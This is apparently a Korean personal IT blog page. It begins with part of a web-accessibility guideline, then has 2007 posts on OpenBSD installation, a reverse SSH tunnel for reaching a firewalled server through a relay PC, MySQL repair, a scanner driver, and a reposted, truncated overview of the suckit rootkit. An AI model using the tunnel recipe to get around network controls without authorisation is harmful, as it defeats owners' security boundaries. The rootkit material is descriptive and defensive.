(1) 화면을 볼 수 있는 사용자는 한 페이지를 여러 개의 영역으로 구분한 프레임을
볼 수 있다. 그러나 화면을 볼 수 없는 시각장애인에게 여러 개의 프레임으로 구
성된 페이지는 모든 프레임의 내용을 인지하기 어렵다. 따라서 여러 개의 프레임
으로 구성된 웹 페이지에서 각각의 프레임에 제목을 부여하면 활성화된 프레임
의 제목을 읽어주기 때문에 프레임간의 이동이 매우 편리하다.
 
라. 적용 예
(1) 프레임 : 프레임별 제목 부여
여러 개의 프레임으로 구성된 웹 콘텐츠에서 각각의 프레임에 제목을 부여할 수
있다. 예를 들어, 두개의 프레임으로 구성된 웹 페이지의 경우에 각각의 프레임 제
목을 “순이”와 “철수”라고 명명한다면 현재 활성화된 프레임의 이름을 읽어 볼 수
있으므로 엉뚱한 프레임에서 작업하는 잘못을 방지할 수 있다.
 
항목 2.3 (깜박거리는 객체 사용 제한)
콘텐츠는 스크린의 깜빡거림을 피할 수 있도록 구성되어야 한다.
 
가. 용어 정리
(1) 스크립트(script)란 컴퓨터에 자동으로 처리를 실행하기 위한 명령을 나열한 파일로 일반적으로 텍스트 파일 형식으로 제공되는 것이다.
 
나. 요구조건
(1) 웹 콘텐츠에는 애니메이션 등과 같이 깜빡거리는 주파수의 범위가 3 Hz에서 49Hz 사이인 콘텐츠 요소들을 포함하지 않아야 한다.
 
(2) 만일 위의 (1)에서 명시한 요구조건을 만족할 수 없는 웹 콘텐츠는 깜빡거림이 있는 웹 페이지로 이동하기 전에 이 페이지에 깜빡거림이 있음을 사전에 사용자에게 경고해주어야 한다. 또한, 스크린의 깜빡거림이 배제된 대체 페이지를 별도로 제공하여야 한다(항목 1.1 참조).
다. 적용시 장점
 
(1) 광과민성 발작 증세를 지닌 사람들은 빛이 깜빡거리는 것에 반응하여 발작을 일으킨다. 특히 3Hz에서 49 Hz의 사이의 깜빡거림은 발작을 일으키는 원인이 되며, 20Hz 부근이 발작을 가장 잘 일으키는 주파수이다. 따라서 요구조건 (1)을 만족하는 콘텐츠의 경우에는 광과민성 발작중세가 있는 사용자도 접근이 가능하다.
(2) 정신이 산만한 사람의 경우에는 계속적인 깜빡거림이 있는 콘텐츠를 집중하여 응시할 수 없으므로 이 요구조건을 만족하는 콘텐츠는 정신이 산만한 사람도 접근이 가능하다.
 
라. 적용 예
(1) 첫 페이지 구성 : 깜박거리는 개체 배제
웹사이트에 처음 접속했을 때에 스크린에 나타나는 첫 페이지에는 최소한 깜빡거림이 없도록 콘텐츠를 구성하며, 만일 다음 페이지에 깜빡거림이 있는 콘텐츠가 포함되어 있을 경우에는 경고문을 첫 페이지에 표시하고, 깜빡거리는 콘텐츠를 제거한 대체 페이지와 이 페이지로 이동하는 링크를 제공하도록 구성한다.
 
(2) 스크립트 사용 : 스크립트 동작하지 않도록 설정
스크립트를 이용하여 깜빡이는 텍스트(blinking text)를 구성하면 스크립트가 동작하지 않도록 함으로써 깜빡임을 제거할 수 있다.
(3) 프로그래밍 기법 : 객체를 깜박거리게 하는 태그 사용 배제
<blink> 또는 <marquee>태그는 사용하지 않는다.
 
항목 2.4. (키보드로만 운용 가능)
키보드(또는 키보드 인터페이스)만으로도 웹 콘텐츠가 제공하는 모든 기능을 수행할 수 있어야 한다.
 
가. 용어정리
(1) 키보드 인터페이스란 키보드 또는 특수한 입력장치로부터 응용프로그램이 필요한 모든 정보를 입력받도록 하는 장치를 의미한다.
 
(2) 포인팅 디바이스(pointing device)란 마우스나 터치패드와 같이 컴퓨터 화면의 특정한 부위를 직접 지정할 수 있는 장치를 의미한다.
(3) 음성 입력 장치란 음성으로 컴퓨터를 제어할 수 있도록 구성한 시스템 또는 시스템을 구성하도록 하는 프로그램을 의미한다.
 
나. 요구조건
(1) 웹 콘텐츠는 키보드 또는 장애를 극복하도록 도와주는 여러 가지 입력 장치를 사용하는 경우에도 콘텐츠가 제공하는 모든 기능을 사용할 수 있어야 한다.
 
다. 적용시 장점
(1) 포인팅 디바이스(pointing device)를 사용할 수 없는 시각장애인들도 웹 콘텐츠나 웹사이트 기능을 키보드만으로 사용할 수 있다.
 
(2) 키보드 또는 키보드 인터페이스를 사용할 수 없는 지체장애인의 경우에는 키보드 대신 음성 입력 장치를 이용하여 웹 콘텐츠에 접근할 수 있다.
라. 적용 예
 
(1) 이벤트 발생 방법 : 다양한 입력장치 사용 가능
웹 콘텐츠에서는 포커스인(focus-in), 포커스 아웃(focus-out), 그리고 활성화(activation)의 세 가지 이벤트가 주로 사용된다. 또한, 이들 이벤트는 포인팅 디바이스(예를 들어 마우스), 키보드, 음성 입력 시스템과 같은 다양한 입력 디바이스로 제어가 가능하다.
(2) 콘텐츠의 제어 : 키보드 또는 키보드 인터페이스 사용 가능
콘텐츠를 구성하는 모든 링크와 데이터 개체의 실행과 선택은 키보드 또는 키보드 인터페이스를 사용하여 수행할 수 있도록 구성한다. 예를 들어, 웹 페이지를 구성하는 콘텐츠 요소들 간의 이동은 탭(tab)키를 사용하여 가능하도록 구성한다.
 
항목 2.5 (반복 네비게이션 링크(repetitive navigation link))
웹 콘텐츠는 반복적인 네비게이션 링크를 뛰어넘어 페이지의 핵심부분으로 직접 이동할 수 있도록 구성하여야 한다.
 
가. 용어 정리
① 반복적 네비게이션 링크(repetitive navigation link)란 여러 개의 네비게이션 링크들이 연속적으로 나열되어 있는 링크 개체를 의미한다. 스크린 리더는 반복적 네비게이션 링크 개체를 구성하는 모든 링크들을 순서대로 읽어주므로 콘텐츠의 핵심 부분으로 이동하기 위해서는 모든 링크를 읽어주는 시간이 필요하게 된다.
 
나. 요구조건
(1) 웹 콘텐츠 상에 반복적 네비게이션 링크 개체가 포함되어 있으며 이 링크 객체가 콘텐츠의 핵심부분보다 먼저 읽어주도록 구성된 경우에 이들 링크들의 읽기를 생략하고 직접 콘텐츠의 메인 부분으로 직접 이동할 수 있는 링크를 제공하여야 한다.
 
(2) 하나의 긴 문장으로 구성된 웹 페이지는 이 페이지의 문장을 여러 개의 논리적인 절로 구분하고 각 절의 색인을 콘텐츠의 첫 부분에 포함시켜 원하는 절의 시작 부분으로 직접 이동할 수 있도록 웹 페이지를 구성한다.
(3) 모든 웹사이트는 텍스트 또는 대체 텍스트가 포함된 텍스트 아닌 콘텐츠로 구성된 사이트 맵을 제공하여야 한다.
 
다. 적용시 장점
(1) 이 항목을 만족하는 경우 페이지의 상단이나 좌측 프레임에 반복적 네비게이션링크개체가 포함되어 있다면 스크린 리더 사용자는 이들 링크 목록을 순서대로 읽어준 후에야 필요한 부분을 읽어주므로 매우 지루한 과정이 요구된다. 그러나 이 페이지의 처음에 핵심 부분으로 이동할 수 있는 링크를 제공하면 빠르게 필요한 위치로 이동할 수 있다.
 
(2) 하나의 긴 문장으로 구성된 콘텐츠 중에서 사용자가 원하는 부분을 찾기 위해서는 처음부터 모두 읽어야 함으로 필요한 부분을 찾는 것은 매우 지루한 일이다. 따라서 문장의 시작 부분에 색인을 제공하여 필요한 부분으로 직접 이동하도록 하는 것은 매우 편리한 기능이다.
(3) 사이트 맵을 제공하면 사용자는 이를 이용하여 필요한 정보가 위치한 페이지로 직접 이동할 수 있다.
 
라. 적용 예
(1) 메인 콘텐츠로의 직접 이동 : 프레임과 링크 사용 예
만일 웹 콘텐츠를 두 개의 프레임으로 구분하고 왼쪽 프레임을 반복적 네비게이션 링크용 프레임으로, 오른쪽 프레임을 메인 콘텐츠를 제공하도록 구성할 경우를 생각해 보자. 스크린 리더는 왼쪽의 반복적 네비게이션 링크 프레임의 내용을 모두 읽은 후에야 비로소 중앙의 메인 콘텐츠를 읽어주게 된다. 따라서 왼쪽 프레임에 있는 모든 반복적 네비게이션 링크들을 우회하여 직접 메인 콘텐츠로 이동하는 버튼을 두고, 이 버튼에 “메인 콘텐츠로 이동”이라고 레이블을 붙인다면 반복적 네비게이션 링크 개체 모두를 읽지 않고도 메인 콘텐츠 부분으로 직접 이동이 가능하게 된다.
 
(2) 문서 목차 : 긴 문서의 탐색용이
하나의 긴 문서로 구성된 웹 콘텐츠의 시작부분에 이 문서의 목차와 해당 위치로 직접 이동할 수 있는 링크를 제공하고,문서가 나누어지는 부분에 문서의 처음,다음 절, 목차 등으로 이동할 수 있는 링크를 두면 문서를 탐색하는데 매우 편리하다.
(3) 웹사이트 : 사이트 맵의 운영
웹 콘텐츠의 첫 페이지에 사이트 맵으로 이동하는 링크를 제공하면 모든 페이지를 열람하지 않고도 필요한 웹 페이지로 직접 이동이 가능하다.
 
항목 2.6 (반응시간의 조절기능)
실시간 이벤트나 제한된 시간에 수행하여야 하는 활동 등은 사용자가 시간에 구애받지 않고 읽거나, 상호작용을 하거나 응답할 수 있어야 한다.
 
가. 용어정리
(1) 실시간 이벤트(real-time event)란 콘텐츠의 저자가 시간을 통제할 수 없는 실시간 상황에 벌어지는 이벤트를 의미한다.
 
(2) 정해진 시간 내에 응답이 필요한 콘텐츠들은 다음과 같다.
(가) 자동적으로 갱신되도록 구성된 콘텐츠
(나) 몇 초 후에 다른 페이지로 이동하도록 구성된 콘텐츠
(다) 깜빡이는 텍스트나 스스로 스크롤 하도록 구성된 텍스트
(라) 짧은 기간 동안 나타났다 일정시간 후에 사라지는 대화창
(마) 일정시간 동안 사용하지 않으면 페이지에 대한 접근이 강제 차단되거나 사용 할 수 없게 되는 콘텐츠
(3) 팝업(Pop-Up) 창이란 활성화되어 있는 웹 브라우저에 담긴 콘텐츠가 어떤 동작에 의하여 또는 자동으로 새로 열린 웹 브라우저 창을 의미한다. 그러나 운영체제가 표시하는 메시지 창은 팝업 창으로 분류하지 않는다.
 
나. 요구조건
(1) 웹 콘텐츠의 시간 제약 조건이 최소한 아래의 항목 중 하나는 만족하여야 한다.
(가) 사용자가 시간제한 기능을 동작하지 않도록 할 수 있거나,
(나) 일반적으로 사람들이 선호하는 시간의 10배 이상으로 제한 시간을 늘릴 수 있거나,
(다) 주어진 시간이 종료하기 전에 경고를 발하며, 제한 시간을 늘리기 위하여 최소한 10초 이상 시간이 주어질 수 있어야 한다.
 
(2) 그러나 아래의 항목은 예외로 하되, 시간제약이 있음을 이 페이지에서 분명하게 알려 주어야 한다.
(가) 경매 등과 같이 시간 제약이 있으나 다른 대안이 없는 경우거나,
(나) 실시간 게임이나 시간이 정해진 범위에서 작업해야 하는 테스트 등과 같이 시간 제약이 필수적인 경우
(3) 팝업(Pop-Up) 창은 가급적 사용을 피해야 한다. 그러나 꼭 사용해야 하는 경우에는 팝업 창이 열리기 전에 사용자에게 경고를 할 수 있어야 한다. 또한 팝업창이 열리더라도 포커스가 새로 열린 팝업 창으로 이동해서는 안 된다.
 
다. 적용시 장점
(1) 독서 장애, 인지 장애, 학습 장애를 지닌 사람들은 기록된 문서를 읽고 이해하는 데에 대부분의 사람들보다 더 많은 시간을 필요로 하는 경우가 종종 발생한다.
 
(2) 지체장애인들은 이동 객체에 대해 반응할 만큼 빠르게 동작하거나 정확하게 움직일 수 없다.
(3) 자주 갱신되는 콘텐츠에서 보조 기술이나 음성 브라우저 등이 정해진 시간 내에이 콘텐츠를 읽거나 처리하는 것이 곤란한 경우에 시간 제약에 구애받지 않도록 할 필요가 있다.
 
(4) 팝업 창을 사용하면 시각장애인의 경우에 새로운 창의 열고 닫힘을 잘 알 수 없으므로 매우 불편하다. 그러나 부득이해서 팝업 창을 사용해야만 하는 경우에는 창이 열리기 전에 사용자에게 이를 알려주어 시각장애인들이 팝업 창이 열린다는 것을 사전이 인지하도록 하는 것이 좋다.
라. 적용 예
 
(1) 시간제약이 없는 콘텐츠 구성
웹 콘텐츠를 구성할 경우에 시간제한을 두지 않도록 한다.
(2) 시간제한이 있는 콘텐츠 구성
시간제한을 둘 경우에는 이러한 사항을 사용자가 충분히 알 수 있도록 공지하도록 한다. 이를 위하여 경과시간과 남은 시간을 화면에 표시하거나 그 값을 스크린리더로 사용자에게 알려줄 수 있다.
 

지침 3. 이해의 용이성
사용자들이 가능한 한 쉽게 이해할 수 있도록 콘텐츠나 제어 방식을 구성해야 한다.
 
항목 3.1 (데이터 테이블 구성)
데이터 테이블은 테이블을 구성하는 데이터 셀의 내용에 대한 정보가 충분히 전달될 수 있어야 한다.
 
가. 용어 정리
(1) 데이터 테이블(data table)이란 테이블을 구성하는 데이터간의 논리적 관계를 표현하기 위하여 사용하는 형태이다.
 
나. 요구 조건
(1) 데이터 테이블은 테이블의 제목이나 테이블의 내용을 요약하여 제공해야 한다(항목 1.1 참조).
 
(2) 데이터 테이블은 데이터 셀별로 대응되는 모든 헤더를 확인할 수 있도록 구성하여야 한다.
 
다. 적용시 장점
(1) 데이터 테이블을 요구 조건에 맞추어 제작한 경우에는 임의의 데이터 셀에 대응되는 모든 헤더 값을 알 수 있다.
 
라. 적용 예
(1) 간단한 데이터 테이블 구성
HTML을 이용하여 간단한 데이터 테이블을 구성하는 경우에 데이터 셀과 헤더는 각각 <TD>와 <TH>태그를 사용하여 테이블을 구성한다.
 
(2) 복잡한 데이터 테이블 구성
HTML에서 행을 그룹화 하는데 THEAD, TFOOT, TBODY 등의 속성을 사용하고, 열을 그룹화 하는 데는 COL, COLGROUP 등의 속성을 사용한다. 보다 복잡한 테이블의 구성을 위해서는 “axis", "scope", "headers"등의 속성을 이용한다.
(3) 데이터 테이블 설명
HTML 4.01에 따라 데이터 테이블을 구성하는 경우에 테이블에 대한 설명은 <TABLE ... summary = ""> 태그를 사용하여 표시할 수 있다. 또한 <CAPTION>태그를 사용하여 테이블의 간단한 제목을 표시할 수도 있다. <TABLE title=""> 태그를 사용해도 동일한 효과를 얻을 수 있다. 즉, 데이터 테이블의 제목(title)은 도표의 첫 부분(상단 처음)에 오도록 하여 이어지는 자료가 데이터 테이블임을 알도록 하면 편리하다.
 
항목 3.2 (논리적 구성)
콘텐츠의 모양이나 배치는 논리적으로 이해하기 쉽게 구성하여야 한다.
 
가. 용어정리
(1) 배치용 테이블(layout table)이란 데이터 테이블과는 달리 문서의 모양을 만들기 위한 목적으로 사용하는 테이블이다.
 
(2) 스타일 시트(style sheet)란 문서의 표현 형태를 규정하는 일련의 명령문을 의미한다.스타일 시트는 콘텐츠 제공자가 마련한 것,사용자가 마련한 것, 웹 브라우저에 내장된 형태 등의 세 가지 경우가 있다. CSS(Cascading Style Sheets)레벨2가 스타일 시트의 대표적인 규정이다.
나. 요구사항
 
(1) 문서의 모양이나 콘텐츠의 배치를 위해서는 스타일 시트(style sheet)를 사용하여야 한다.
(2) 배치용 테이블을 사용하여 콘텐츠의 모양이나 배치를 할 경우에는 테이블을 구성하는 모든 셀들을 왼쪽상단에서 오른쪽 하단에 이르는 순서대로 늘어놓았을 때에도 그 내용을 충분히 이해할 수 있도록 구성해야 한다.
 
다. 적용시 장점
(1) 논리적으로 구성된 웹 콘텐츠는 스타일 시트(style sheet)를 바꾸거나 기능을 제거하더라도 그 내용을 순서대로 읽을 수 있으므로 문서의 의미를 이해하는데 어려움이 없다.
 
(2) 배치용 테이블은 종종 일정한 형태를 표현하기 위하여 사용된다. 이 경우에도 스크린 리더로 읽어주는 내용의 순서가 화면에 나타난 콘텐츠의 읽는 순서와 같아지게 된다.
라. 적용 예
 
(1) 배치용 테이블 : 배치용 테이블은 캡션(CAPTION)이나 타이틀(TITLE) 태그를 사용하지 않는다.
(2) 스타일 시트 : 스타일 시트를 사용하여 콘텐츠의 모양이나 배치를 구성할 경우에는 스타일 시트 기능을 제거하거나 다른 스타일 시트를 사용하더라도 그 내용을 이해하기 쉽게 콘텐츠를 구성하여야 한다.
 
항목 3.3 (온라인 서식 구성)
온라인 서식을 포함하는 콘텐츠는 서식 작성에 필요한 정보, 서식 구성 요소, 필요한 기능, 작성 후 제출 과정 등 서식과 관련한 모든 정보를 제공해야 한다.
 
가. 용어 정리
(1) 온라인 서식(on-line form)이란 웹 브라우저 상에서 작성하여 제출하도록 제공되는 양식을 의미한다.
 
(2) 애플릿(applet)이란 웹 페이지에 삽입되는 프로그램을 의미한다.
(3) 플러그인(plug-in)이란 웹 브라우저를 사용하는데 함께 사용되는 프로그램을 의미 한다.예를 들어 플래시(Flash) 등이 플러그인의 하나이다.
 
나. 요구 조건
(1) 온라인 서식을 구성하는 모든 서식 제어 요소, 예를 들면, 편집 상자(edit box), 라디오 버튼(radio button), 체크 박스(check box) 등은 레이블과 해당 서식 제어 요소간의 표시 순서가 일정하여야 한다.
 
(2) 탭(tab)키를 이용하여 서식 제어 요소 간을 이동할 경우에 그 순서가 왼쪽 위에서 오른쪽 아래 부분으로 순차적인 이동이 가능하여야 한다.
(3) 서식을 구성할 때에 보조기술을 사용하면 접근이 가능한 경우에만 스크립트, 애플릿,플러그인 또는 다른 프로그램 요소를 사용한다.만일 이것이 불가능할 경우에는 스크립트, 애플릿(applet), 플러그인(plug-in) 등 프로그램 요소의 기능을 정지시켜도 온라인 서식을 작성할 수 있어야 한다(항목 4.1 참조).
 
다. 적용시 장점
(1) 요구조건을 만족하는 경우에는 온라인 양식을 작성함에 있어서 모든 서식 제어요소의 레이블과 서식 제어 요소간의 관계가 일관성을 가지게 되므로 사용자는 혼란을 피할 수 있게 된다.
 
라. 적용 예
(1) 편집 박스 프로그래밍 예 : 예를 들어, 레이블 다음에 편집 박스(edit box)가 위치하는 경우에는 다음과 같이 프로그래밍을 하면 된다.
<LABEL for="first_name">이름:
<INPUT type="text" id="first_name" tabindex="1">
</LABEL>
이 경우에 커서가 편집 박스에 위치하면,스크린 리더는‘이름’이라고 읽어준다.
 
(2) 편집 박스의 기본값 제공 : 편집 박스는 기본값을 가능한 한 제공한다.
(3) 편집 박스 테이블 구성 : 편집 박스를 데이터 테이블 형태로 구성할 경우에는 편집 박스별로 테이블 헤더를 읽어주도록 구성한다.
 


지침4기술적 진보성
구성한 콘텐츠는 웹 브라우저의 종류, 버전 등에 관계없이 사용될 수 있어야 한다.
 
항목 4.1 (신기술의 사용)
스크립트,애플릿 또는 플러그 인(plug-in) 등과 같은 프로그래밍 요소들은 현재의 보조기술의 수준에서 이들 프로그래밍 요소들의 내용을 사용자에게 전달해줄 수 있을 경우에만 사용하여야 한다.
 
가. 용어 정리
(1) 애플릿(Applet)이란 웹 페이지에 삽입되는 프로그램을 의미한다.
 
(2) 플러그인(plug-in)이란 웹 브라우저를 사용하는데 함께 사용되는 프로그램을 의미한다.예를 들어 플래시(Flash) 등이 플러그인의 하나이다.
나. 요구 조건
 
(1) 콘텐츠를 나타내기(display) 위해 혹은 인터페이스 요소를 만들기 위해 스크립트언어를 이용할 경우에는 스크립트에 의해 제공되는 중요한 정보는 최신의 보조기술을 이용해 읽을 수 있어야 한다. 만일 이것이 불가능할 경우에는 스크립트의 동작을 정지시켜도 웹 콘텐츠의 내용을 읽을 수 있어야 한다.
(2) 애플릿, 플러그인(plug-in) 혹은 다른 응용 프로그램을 이용하여 웹 콘텐츠를 구성하였을 때에는 이들 프로그램 요소에 의해 제공되는 중요한 정보는 보조기술을 이용해 읽을 수 있어야 한다. 만일 이것이 불가능할 경우에는 이들 프로그램 요소의 동작을 정지시켜도 웹 콘텐츠의 내용을 읽을 수 있어야 한다.
 
(3) 스크립트, 애플릿과 플러그인은 키보드 또는 대체 키보드 인터페이스를 이용하여 사용할 수 있어야 한다.
다. 적용시 장점
 
(1) 보조기술이 지원되는 경우가 아니면 애플릿, 플러그인, 스크립트 등의 프로그램 요소를 사용하지 않도록 제한하므로 장애인들이 이들 프로그램 요소에 의하여 접근이 차단되는 일을 방지할 수 있다. 만일 Javascript 기능을 지원하지 않는 웹사이트에서 Javascript 기능을 정지시켰을 때에도 사용자에게는 필요한 정보가 차단되지 않는다.
라. 적용 예
 
(1) 플래시(Flash)에 대한 대체 텍스트를 현재까지 개발된 스크린 리더가 읽을 수 없다면 플래시를 사용하지 않도록 한다.
 
항목 4.2 (별도 웹사이트 제공)
콘텐츠가 항목 1.1에서 4.1에 이르는 13개 검사 항목을 만족하도록 최대한 노력하였으나 해결되지 않는 부분이 남아있다면 텍스트만의 콘텐츠를 제공하는 웹 페이지(또는 웹사이트)를 별도로 제공해야 한다.
 
가. 용어 정리
(1) 텍스트만의 콘텐츠(text-only contents)란 텍스트 아닌 콘텐츠가 포함되지 않고 텍스트로만 구성된 콘텐츠를 의미한다.
 
나. 요구 조건
(1) 가능한 보조기술 수준이 미흡하여 장애인이 접근 가능한 웹 콘텐츠를 제작할 수 없는 경우에는 텍스트로만 구성된 대체 페이지를 마련하고 기존의 웹 콘텐츠의 첫 페이지에 대체 페이지로 이동하는 링크를 제공하여야 한다.
 
(2) 제공하는 대체 페이지는 기존의 웹 콘텐츠가 포함한 정보나 기능을 모두 포함하여야 한다.
(3) 제공하는 대체 페이지는 기존의 웹 콘텐츠의 개정 주기에 맞추어 개정되어야 한다.
 
다. 적용시 장점
(1) 새로운 웹 콘텐츠 제작기술의 개발로 인하여 아무리 노력하여도 원래의 웹 콘텐츠에 포함된 일부 또는 모든 콘텐츠 요소들을 장애인의 접근이 가능한 콘텐츠로 수정할 수 없을 경우가 있다. 이 경우 대체 텍스트로 구성한 페이지를 별도로 구성하여 운영하면 장애인의 접근성이 충분히 지원된다.
 
라. 적용 예
(1)한글97 문서 : 별도의 웹 페이지로 구성
한글97로 작성된 문서를 콘텐츠로 제공하는 사이트의 경우, 스크린 리더를 통하여 한글97 문서를 읽을 수 없다.
이 경우에 동일한 내용을 별도의 HTML 문서로 제작하여 링크한다면 이러한 문제점이 해소된다.
Trackback 0 : Comment 0

[삽질] HP ProLiant ML110 G4에 OpenBSD 4.1설치

그것(it) 2007/08/17 12:08
이것도 삽질인가 싶어.....

1. 첫번째 문제
   OB 스타트시에...
   entry point at 0x200120 메시지 출력후 시스템이 멈춰 버림...
   -> 메모리 로드시 문제로... 바이오스의 메모리 관련 정보를 변경하려고 했습니다.
       그러다... 문제는 다음과 관련..
   바이오스에서
   Advanced > 8042 Emulation Support. ( disable )
   그러면 순순히 통과합니다.

2. 두번째 문제
   axe0: read PHY failed
   --------------------
   이곳에서 행이 걸리면서 엄청난 에러메세지가 나옵니다.
   그렇지만 오래 두면... 넘어 가고 인스톨 메세지 나옵니다.
   여기서 또 중요한게
   위에 바이오스 설정 문제로 PS/2키보드가 먹통입니다...ㅋㅋ
   따라서 전 USB키보드로 해결...  USB키보드 사용하면 가능하더군요..

3. 세번째 문제
   정상? 인스톨 됩니다.
   설치후 axe0, axe1 인터페이스가 에러를 내면서 설정이 되어 버립니다. 그래서...
   재부팅 후... (역시 USB키보드 사용)
   # config -e -o /bsd /bsd
    ukc> disable axe
    ukc> quit
  # reboot

4. 최종 문제
   부팅 로그를 보면
  acpi at mainbus0 not configured
  역시 어찌 되었던... PS/2키보드는 사용이 불가능하네요...
5. 기타
    기억이 처음에 설치할때는 설치 완료하고 재 부팅했을때... 부팅이 안되었던건지?? 아무튼 4번의 에러문제로 부팅이 꽤 지연됩니다. 어찌되었든 그 시점에서 바이오스 업데이트 했습니다.
ftp://ftp.compaq.com/pub/softlib2/software1/pubsw-windows/p437947715/v43089/SP36639.exe

   

Trackback 0 : 댓글 2

SSH 터널링을 이용한 방화벽 내부 접속하기(양방향 중계)

분류없음 2007/07/20 16:39
1. 연결을 위한 환경
사용자 삽입 이미지
그림과 같이 접속PC는 접속서버에 접속을 해서 작업을 해야 한다. 하지만 접속 서버는 외부와 완전히 차단된 상태이며, 중계PC만이 서버에 접속 가능하다. 또한 중계PC 역시 외부와의 접속만 허용될 뿐 피씨로 외부에서 접속되는 것은 차단되어 있다.

2. 중계서버 : ssh데몬이 있는 리눅스 서버여야 하며, 포트포워딩이 활성화 되어 있어야 한다. /etc/ssh/sshd_config의 내용 중에서 다음
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
ClientAliveInterval 30
ClientAliveCountMax 9999
대략 위와 같이 설정하면 Clien.... 이 값은 적절히 맞춰서 사용하면 된다. 설정을 하였으면 sshd 데몬을 재실행하면 중계서버 설정은 끝이다.

3. 중계PC : 윈도우용 피씨로 가정하고 Putty에서의 설정은 다음과 같이 하면 된다.
사용자 삽입 이미지
Source port: 20000 <= 접속 컴퓨터에서 접속할 포트 번호이다.
Destination: 10.0.0.1:22 <= 접속을 해야할 접속 서버와 접속 포트 번호
Remote : 반드시 이곳에 체크를 해주어야 한다.
사용자 삽입 이미지
이제 중계PC에서 중계서버로 접속을 하면 된다. Session항목으로 와서 중계서버의 주소와 포트를 입력하고 필요시 Save를 해두고 접속을 하면 된다.
접속이 이루어 졌을때 중계서버에서 포트를 확인하면 '20000'번 포트가 Listen된 것을 확인 할 수 있다.

3. 접속PC : 이제 남은 것은 접속하는 일. 접속할 컴퓨터에서 Putty를 이용해서 중계서버의 20000번 포트로 연결하자!! 그럼 중계서버를 통해.. 그리고 중계PC를 타고 접속서버로 연결이 되어진다.
사용자 삽입 이미지
위의 예제는 SSH를 연결하기 위한 것이다.  웹서버였다면 웹으로 연결을 해야겠죠^^

Trackback 1 : Comment 1

홈페이지에서 'Got error 127 from storage engine' 오류 메세지

그것(it) 2007/07/02 10:33
문제 발생 원인 : 디스크 풀로 인한 DB(MySQL) 테이블 손상...
문제 해결
  - 로그 및 불필요한 백업 파일 삭제 후 디스크 공간 확보
  - 웹로그에 대해서 압축 옵션 추가
  - 문제를 발생시키는 테이블을 찾음. (일괄적으로 확인해 보기 위해 명령어를 메모장에서 일괄 편집하여 보기 편하게 하기 위해 Limit 1 옵션을 사용하니 문제가 보이지 않았음.... 웹소스상에서 찾는것도 방법이지만 테이블이 많지 않다면 그냥 귀찮아도 의심의 많이 가는 테이블 부터 하나하나 넣어 보는 수 밖에....)
  - 테이블을 찾았다면..


분석 및 확인
ANALYZE [LOCAL | NO_WRITE_TO_BINLOG] TABLE tbl_name [, tbl_name] ...
CHECK TABLE tbl_name [, tbl_name] ... [option] ...

복구
REPAIR [LOCAL | NO_WRITE_TO_BINLOG] TABLE
    tbl_name [, tbl_name] ... [QUICK] [EXTENDED] [USE_FRM]

명령행
  # myisamchk  (자세한 내용은 man page 참조)

관련명령어
LOCK TABLES
   tbl_name [[AS] alias] lock_type
       [, tbl_name [[AS] alias] lock_type] ...  (lock_type: READ [LOCAL] | [LOW_PRIORITY] WRITE)

FLUSH TABLES WITH READ LOCK


FLUS TABLES

태그 : mysql, 복구
Trackback 0 : Comment 0

윈도우 비스타에서 UMAX Astra 6850 사용하기

그것(it) 2007/05/19 16:18

비스타를 깔고 지금껏 스캐너 쓸일이 없었는데...
드뎌 필요에 의해서 드라이브를 설치하기로 했습니다.
근데 설치하려닌까 오류가 뜨더군요.
이제는 안돌아가는 프로그램에서는 습관처럼 진행하게 되는 XP호환모드 실행을....

0. 아직 스캐너를 연결하지 마세요.
1. Umax Astar 6850 드라이브 설치 파일을 실행하여 설치파일의 압축을 해제합니다.
    기본 디렉토리는 c:\umax\astra6850입니다.
2. 해당 폴더의 setup.exe에서 오른쪽 마우스를 클릭하여 속성->호환성에 가셔서
    이 프로그램을 실행할 호환 모드에서 Windows XP(서비스 팩 2)와 관리자 권한으로 이 프로그램 실행에 체크를 해 주세요. 확인 클릭...
3. setup.exe를 실행시켜서 설치합니다.
4. 윈도우를 재 부팅하시지 마시고  "C:\Windows\twain_32\6850" 폴더로 이동하신 후에 "CloseHK.exe", "DelINF.exe", "HotKey.exe"에 Windows XP(서비스 팩2)와 관리자 권한... 부분에 체크해 주세요.
5. 윈도우를 재 부팅합니다.
6. 재 부팅 후에 스캐너를 연결하면 드라이브를 설치합니다.
7. 혹 포토샵 등에서 장치 연결 어쩌구 저쩌구 하면 한 번 재부팅하세요.

--- 아마  이 정도면 사용할 것으로 보여지는데...
     저는 설치할때 6850 폴더에 있는 두개의 레지스트리를 수동으로 병합해 주었습니다. HotKey.Reg, TWAIN.REG 이 두 파일입니다. 앞엣 것은 시작할때 핫키 프로그램 실행 시키는 거고요. 뒤엣것은 스캐너 정보 입력하는 겁니다. 뭐 다 자동을 될테니 특별히 필요는 없을 겁니다.

Trackback 0 : Comment 0

suckit rootkit 의 확산과 대응 방법

그것(it) 2007/05/03 19:43
시간이 없어 일단 블로그에 넣고 나중에 읽어 보려고.. 퍼왔습니다..
폄..-----------------------------------------------------------------

suckit rootkit 의 확산과 대응 방법


오늘과내일 시스템운영부 홍석범(antihong@tt.co.kr)

1. 개요

최근 침해 사고를 당한 리눅스 시스템을 살펴보면 웹 해킹이나 brute force 등을 통해 일반
유저 권한을 획득 후 커널 등의 취약성을 이용해 root 권한을 획득한 후에는 suckit 이라는
rootkit 을 설치하는 경우가 자주 발견되고 있다. suckit 의 작동원리는 2001 년 phrack 의
Appendix 에 처음 소개되었는데, 아래 문서를 보면 비교적 상세한 실행 방법까지 소개되어
있다.

관련 phrack 홈페이지 : http://www.phrack.org/phrack/58/p58-0x07

suckit 의 경우 이전의 kernel 기반의 rootkit 과는 다른 방식으로 작동하는데, 특히 설치
과정에서 /sbin/init 를 변조하기 때문에 만약 루트킷 컴파일이 제대로 되지 않았을 경우
재부팅시 부팅 자체가 안 되는 현상도 일부 보이고 있다. 또한 뒤에서 자세히 설명하겠지만
작동 원리상 커널 모듈 설정이나 버전에 관계없이 일반적인 시스템에 모두 설치/작동되므로
그 피해가 커지고 있다.


2. suckit 의 특징

suckit 은 'super user control kit'의 의미로서 다음과 같은 특징을 가지고 있다.
① 적어도 필자가 아는 한 suckit 은 kernel module 이 지원되지 않아도 LKM(Loadable
Module Kernel)의 기능을 그대로 사용할 수 있는 유일한 rootkit 이다.
대부분의 kernel 기반 루트킷은 LKM 형태로 작동하므로 시스템에서 반드시 kernel module
기능이 enable 되어 있어야 하며 그렇지 않은 경우 module 을 적재(load)할 수 없고 결국
루트킷을 설치할 수 없다.

참고) module 기능이 제공되지 않는 커널 예

# lsmod
Module Size Used by Not tainted
